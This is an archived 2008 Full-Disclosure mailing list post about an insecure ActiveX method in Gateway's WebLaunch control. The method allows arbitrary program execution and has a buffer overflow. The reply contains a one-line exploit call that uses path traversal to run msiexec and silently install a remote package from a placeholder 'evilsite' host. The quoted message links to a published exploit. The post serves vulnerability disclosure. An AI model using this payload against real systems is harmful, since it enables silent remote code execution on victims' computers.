OSEC

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Re: [Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

From: Elazar Broad (elazarhushmail.com)
Date: Wed Jan 09 2008 - 10:17:02 CST

I was playing with this a bit more. Everybody has the Windows
Installer installed, right? How about this:

obj.DoWebLaunch("","..\\..\\..\\..\\windows\\system32\\msiexec.exe",
"","/i http://www.evilsite.com/evilapp.msi /quiet");

Elazar

On Tue, 08 Jan 2008 20:08:53 -0500 elazarhushmail.com wrote:
>The DoWebLaunch() method of the Gateway WebLauncher ActiveX
>control
>allows for the execution or arbitrary application on a system,
>additionally this method is vulnerable to a buffer overflow in the
>
>2nd and 4th parameters. Both weblaunch.ocx and weblaunch2.ocx
>allow
>the execution of arbitrary files, weblaunch.ocx is vulnerable to
>the above mentioned buffer overflow, I have not checked
>weblaunch2.ocx. Exploit: http://www.milw0rm.com/exploits/4869
>
>Elazar
>
>_______________________________________________
>Full-Disclosure - We believe in it.
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/